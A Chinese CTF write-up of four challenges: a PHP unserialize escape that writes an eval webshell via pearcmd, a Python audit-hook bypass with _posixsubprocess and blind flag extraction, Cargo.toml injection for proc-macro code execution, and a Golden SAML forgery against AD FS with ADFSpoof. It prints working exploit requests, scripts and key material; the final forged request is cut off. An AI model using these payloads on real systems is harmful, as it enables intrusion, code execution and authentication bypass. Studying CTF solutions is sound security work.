0x01 打卡OK
部分源码通过加 ~ 给出,注意到 index.php~ 有如下代码,其中 background 默认为 ok。
$check = "/var/www/html/" . $checkdata['background'] . ".php";
因此读取 ok.php~。
<?php echo 'ok';?>
//adminer_481.php
弱口令 root/root,写文件。
官方说忘记改弱口令了,阿巴阿巴,下面是正常解
官方解
~泄漏,发现adminer_481.php,登陆后修改用户密码登陆 MD5 (“12345asdasdasdasdad”) = 5d710c8773a7415726cd25b3ffebfa3e 5d710c8773a7415726cd25b3ffebfa3e:12345 //asdasdasdasdad
审计代码,利用绕过date函数反序列化逃逸
index.php
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>
POST /index.php?debug_buka=%5c%31%5c%32%5c%33%5c%78%5c%78%5c%78%5c%78%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%3a%5c%22%5c%74%5c%69%5c%6d%5c%65%5c%22%5c%3b%5c%73%5c%3a%5c%32%5c%3a%5c%22%5c%31%5c%32%5c%22%5c%3b%5c%73%5c%3a%5c%31%5c%30%5c%3a%5c%22%5c%62%5c%61%5c%63%5c%6b%5c%67%5c%72%5c%6f%5c%75%5c%6e%5c%64%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%33%5c%3a%5c%22%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%75%5c%73%5c%72%5c%2f%5c%6c%5c%6f%5c%63%5c%61%5c%6c%5c%2f%5c%6c%5c%69%5c%62%5c%2f%5c%70%5c%68%5c%70%5c%2f%5c%70%5c%65%5c%61%5c%72%5c%63%5c%6d%5c%64%22%5c%3b%5c%7d HTTP/1.1
Host: 192.168.10.100:50100
Content-Length: 53
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Origin: http://192.168.10.100:50100
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fpd8m225h699b4o6stpja3vtcc; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
reason=%3C%3Fphp+exit%3B%2F%2F%3C%3Fphp+exit%3B%2F%2F
然后pearcmd即可
POST /index.php?check&+config-create+/<?=@eval($_GET[1]);?>+/var/www/html/hello.php HTTP/1.1
Host: 172.16.2.72:5898
Content-Length: 7
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Origin: http://172.16.2.72:5398
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.2.72:5398/index.php?check/?+config-create+/%3C?=phpinfo()?%3E+/var/www/html/hello.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=inns5m7uhe0i3d9d19dtgcmsj2; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close
check=1
0x02 ezoj
/source 源码。
_posixsubprocess 可以执行命令,盲注梭了。
import requests
from Crypto.Util.number import *
CODE = """
CODE = '''
import subprocess
r = subprocess.run('cat /flag*', shell=True, capture_output=True)
flag = r.stdout.strip()
flag = int(flag.hex(), 16)
{content}
'''
try:
import _posixsubprocess
import os
import time
_posixsubprocess.fork_exec([b"python3", b"-c", CODE.encode()], [b"/usr/bin/python3"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
time.sleep(0.05)
except Exception as e:
print(e)
"""
# 先试试有夺少位:
# for i in range(512):
# code = CODE.format(content=f'''
# if flag > {1 << i}:
# print(2)
# ''')
# r = requests.post('http://121.41.238.106:25460/api/submit', json={
# 'code': code,
# 'problem_id': '0',
# })
# print(1 << i, r.text)
def test(k):
code = CODE.format(content=f'''
if flag >= {k}:
print(2)
''')
r = requests.post('http://121.41.238.106:25460/api/submit', json={
'code': code,
'problem_id': '0',
})
return '1/10' in r.text
l = bytes_to_long(b'aliyunctf{' + b' ' * 37)
r = bytes_to_long(b'aliyunctf{' + b'\x7f' * 37)
while l + 1 < r:
mid = (l + r) // 2
if test(mid):
l = mid
else:
r = mid
l_txt = long_to_bytes(l)
r_txt = long_to_bytes(r)
bits = (r - l).bit_length()
print(f'{bits} remaining, {l_txt}..{r_txt}')
官方解
打开题目的web页面后是一个OJ,OJ里面有五个题目,页面最下面提示了/source
查看源码。
在/source
中可以发现,该OJ在执行python代码时,会使用audithook
限制代码的行为。限制方法为白名单,只允许["import","time.sleep","builtins.input","builtins.input/result"]
的事件执行。
先尝试获取python版本,发现OJ会将程序的退出码回显给用户,可以利用这个回显信息。
获取了sys.version_info
的三个值后,可以得到python版本3.12.9
。
根据白名单的内容,允许导入模块,但是导入其他模块需要用到compile和exec,因此只能导入内部模块。
在内部模块中发现了_posixsubprocess,该模块能够fork_exec
执行任意命令同时内部没有触发审计。
由于题目不出网而且也无法直接回显,因此需要把执行程序的标准输出读出来。在源码中可以发现c2pwrite参数会重定向到子进程的标准输出
if (c2pwrite == 1) {
if (_Py_set_inheritable_async_safe(c2pwrite, 1, NULL) < 0)
goto error;
}
else if (c2pwrite != -1)
POSIX_CALL(dup2(c2pwrite, 1)); /* stdout */
因此使用下面的脚本,执行命令并将结果写入到退出码中。
import requests
URL = "http://10.253.253.1/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec(
(b"/bin/bash",b"-c",b"ls /"),
[b"/bin/bash"],
True,
(),
None,
None,
-1,
-1,
-1,
std_pipe[1], #c2pwrite
-1,
-1,
*(err_pipe),
False,
False,
False,
None,
None,
None,
-1,
None,
False,
)
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:
sys.exit(content[{loc}])
else:
sys.exit(255)
"""
command="ls /"
received = ""
for i in range(254):
code = CODE_TEMPLATE.format(loc=i,command=command)
data = {"problem_id":0,"code":code}
resp = requests.post(URL,json=data)
resp_data = resp.json()
assert(resp_data["status"] == "RE")
ret_loc = resp_data["message"].find("ret=")
ret_code = resp_data["message"][ret_loc+4:]
if ret_code == "255":
break
received += chr(int(ret_code))
print(received)
由于os.read
可能会将程序卡住,因此在os.read
之前先sleep一下。最后在根目录找到flag文件,直接读取获得flag。
0x03 Rust Action
题目的整体思路是利用 Rust 的过程宏在编译期间执行代码
在 route::upload_job
函数内, 直接使用了 format 宏格式化 Cargo.toml 的内容
let cargo_toml = format!(
include_str!("../templates/Cargo.toml.tpl"),
name = job.config.name,
version = job.config.version,
edition = job.config.edition,
description = job.config.description,
);
fs::write(temp_dir.path().join("Cargo.toml"), cargo_toml).await?;
Cargo.toml.tpl
[package]
build = false
publish = false
name = "{name}"
version = "{version}"
edition = "{edition}"
description = "{description}"
format 宏并不会对字符串进行转义, 因此这里存在配置文件注入的问题, 我们可以在 workflow.yaml 内构造特定 payload 向 Cargo.toml 内添加其它参数
job:
name: exploit job
mode: release
config:
name: exploit
version: 0.1.0
edition: 2021
description: |-
"
[lib]
proc-macro = true
#
files:
- main.rs
run: cargo build --release
题目可以上传 workflow.yml 和 main.rs,然后由服务器组装成 cargo 项目去 build,并且没法拿到 build 后的 artifacts。在 rust 编译期执行,两种思路,一种是用 build script,但这里 Cargo.toml.tpl 明确禁止了,所以可以考虑 proc macro。
但 proc macro 需要两个 crate,而服务器在 build 一个项目时会临时生成项目结构,因此无法直接引用。一个主要的观察是 Cargo.toml 模板实例化时可以多行字符溢出,且 Cargo.toml 中的引用可以路径穿越,因此可以在上传 proc macro 为一号 job,然后在二号 job 中用 [lib] proc-macro=true path = “../” 去引用,达成任意代码执行,之后再通过 compiler status 去侧信道即可。
extern crate proc_macro;
use proc_macro::TokenStream;
use std::path::Path;
use std::process::Command;
#[proc_macro]
pub fn make_answer(item: TokenStream) -> TokenStream {
std::process::Command::new("sh")
.arg("-c")
.arg("chmod 777 /flag")
.status()
.unwrap();
let flag_path = Path::new("/flag");
if !flag_path.exists() {
panic!();
}
let flag = std::fs::read_to_string(flag_path).unwrap();
let bit_path = Path::new("/app/test.txt");
if !bit_path.exists() {
std::fs::write(bit_path, "0").unwrap();
}
let bit = std::fs::read_to_string(bit_path).unwrap();
let bit: u32 = bit.parse().unwrap();
std::fs::write(bit_path, (bit + 1).to_string()).unwrap();
let ch = flag.as_bytes()[(bit / 8) as usize];
let bit = (ch >> (bit % 8)) & 1;
if bit == 1 {
panic!();
}
"fn answer() -> u32 { 42 }".parse().unwrap()
}
extern crate pkg2;
pkg2::make_answer!();
fn main() {
println!("Hello, World!");
}
job:
name: test
mode: release
config:
name: pkg2
version: 1.0.0
edition: 2021
description: "\"\n\n[lib]\nproc-macro = true\npath = \"/app/jobs/19e674a1-3369-49ce-9fe7-ac5d3e476cb6/files/main.rs"
files:
- main.rs
run: cargo build --release
import requests
flag = ""
while True:
bs = ""
for i in range(8):
resp = requests.post(
"http://121.41.238.106:38184/jobs/6e69c0dd-d89c-42d6-8b78-4fa056836cfe/run"
)
if "exit code" in resp.text:
bs += "1"
else:
bs += "0"
print(i)
print(bs)
c = chr(int(bs[::-1], 2))
flag += c
print("Flag", flag)
0x04 Offens1ve
题目开放两个应用:
https://oa.offensive.local:8443/
https://monitor.offensive.local:8080/
首先访问https://oa.offensive.local:8443/,将自动跳转到ADFS联合身份验证页面:
现在的攻击思路就是,需要绕过ADFS Portal,访问到oa系统,才能得到flag。这里就需要我们伪造AD FS 安全令牌(AD FS security tokens)。
伪造 AD FS security tokens 的前提是从 ADFS 的本地 Wid 数据库中提取出令牌签名证书,并从Active Directory 中拿到 DKM 解密密钥。
访问 https://monitor.offensive.local:8080/ 是一个网络监控系统,并显示了当前内网的拓扑图(假的,,,)
这里设计的比较友好,点击“ADFS01”或者“ADFS02”节点,可以直接导出 ADFS 配置数据:
从 AdfsConfigurationV4_.IdentityServerPolicy_.ServiceSettings_.sql
中的EncryptedPFX blob可以找到加密的令牌签名证书:
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
将其保存到TKSKey.txt中。
然后点击“DC”节点,这里可以查询LDAP语句:
通过(&(thumbnailphoto=*)(objectClass=contact)(!(cn=CryptoPolicy)))
查询语句可以从LDAP中查询出 DKM Key:
将逗号替换成空格:
247 233 184 62 232 77 10 212 57 54 41 4 51 200 57 91 37 196 172 253 141 124 219 125 134 219 137 163 189 90 51 144
然后保存到DKMKey.txt中。
现在我们得到了两个文件:
-
DKMKey.txt:将包含 DKM 密钥。
-
TKSKey.txt:将包含令牌签名密钥。
接下来,需要通过以下命令,将信息转换为工具可以使用的格式:
# TKSKey.txt 需要进行 Base64 解码
cat TKSKey.txt | base64 -d > TKSKey.bin
# DKMKey.txt 需要转换为十六进制值
cat DKMkey.txt | awk '{for(i=1;i<=NF;i++) printf "%02X%s", $i, (i<NF?" ":"\n")}' | tr -d " " | xxd -r -p > DKMkey.bin
现在,我们拥有了伪造 ADFS 登录令牌所需的所有详细信息。此示例使用 ADFSpoof 工具为用户 “Finley_Blaze1” 创建 Golden SAML 令牌。
首先,将 ADFSpoof/templates/o365.xml 模版文件的内容修改成如下,并将其中的 XML 进行 Minify 操作:
<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:Lifetime><wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenCreated</wsu:Created><wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenExpires</wsu:Expires></t:Lifetime><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"><wsa:Address>https://oa.offensive.local:8443/</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><t:RequestedSecurityToken><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="$AssertionID" Issuer="http://$AdfsServer/adfs/services/trust" IssueInstant="$TokenCreated"><saml:Conditions NotBefore="$TokenCreated" NotOnOrAfter="$TokenExpires"><saml:AudienceRestrictionCondition><saml:Audience>https://oa.offensive.local:8443/</saml:Audience></saml:AudienceRestrictionCondition></saml:Conditions><saml:AttributeStatement><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject><saml:Attribute AttributeName="upn" AttributeNamespace="http://schemas.xmlsoap.org/ws/2005/05/identity/claims"><saml:AttributeValue>$UPN</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="primarysid" AttributeNamespace="http://schemas.microsoft.com/ws/2008/06/identity/claims"><saml:AttributeValue>S-1-5-21-774119550-1432414505-3505898924-1155</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="groupsid" AttributeNamespace="http://schemas.microsoft.com/ws/2008/06/identity/claims"><saml:AttributeValue>S-1-5-21-774119550-1432414505-3505898924-513</saml:AttributeValue></saml:Attribute></saml:AttributeStatement><saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" AuthenticationInstant="$TokenCreated"><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject></saml:AuthenticationStatement><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature></saml:Assertion></t:RequestedSecurityToken><t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType></t:RequestSecurityTokenResponse>
执行如下命令,生成伪造的 SAML 令牌:
python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server sts.offensive.local o365 --upn Administrator@offensive.local --objectguid {FF6A004D-334C-4D19-AFEB-3F4467F9CBCE}
现在只需使用伪造的 SAML 令牌以 Administrator 用户的身份登录 OA 发起联合身份验证。这可以通过使用 Burp Suite 的 Repeater 模块重放 Web 请求来实现:
POST / HTTP/1.1
Host: oa.offensive.local:8443
Content-Length: 7251
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://sts.offensive.local
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://sts.offensive.local/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Priority: u=0, i
Connection: close
wa=wsignin1.0&wresult=%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/ws/2005/02/trust%22%3E%3Ct%3ALifetime%3E%3Cwsu%3ACreated%20xmlns%3Awsu%3D%22http%3A//docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd%22%3E2025-02-06T10%3A09%3A52.000Z%3C/wsu%3ACreated%3E%3Cwsu%3AExpires%20xmlns%3Awsu%3D%22http%3A//docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd%22%3E2025-02-06T11%3A09%3A52.000Z%3C/wsu%3AExpires%3E%3C/t%3ALifetime%3E%3Cwsp%3AAppliesTo%20xmlns%3Awsp%3D%22http%3A//schemas.xmlsoap.org/ws/2004/09/policy%22%3E%3Cwsa%3AEndpointReference%20xmlns%3Awsa%3D%22http%3A//www.w3.org/2005/08/addressing%22%3E%3Cwsa%3AAddress%3Ehttps%3A//oa.offensive.local%3A8443/%3C/wsa%3AAddress%3E%3C/wsa%3AEndpointReference%3E%3C/wsp%3AAppliesTo%3E%3Ct%3ARequestedSecurityToken%3E%3Csaml%3AAssertion%20xmlns%3Asaml%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Aassertion%22%20MajorVersion%3D%221%22%20MinorVersion%3D%221%22%20AssertionID%3D%22_E89JCT%22%20Issuer%3D%22http%3A//sts.offensive.local/adfs/services/trust%22%20IssueInstant%3D%222025-02-06T10%3A09%3A52.000Z%22%3E%3Csaml%3AConditions%20NotBefore%3D%222025-02-06T10%3A09%3A52.000Z%22%20NotOnOrAfter%3D%222025-02-06T11%3A09%3A52.000Z%22%3E%3Csaml%3AAudienceRestrictionCondition%3E%3Csaml%3AAudience%3Ehttps%3A//oa.offensive.local%3A8443/%3C/saml%3AAudience%3E%3C/saml%3AAudienceRestrictionCondition%3E%3C/saml%3AConditions%3E%3Csaml%3AAttributeSt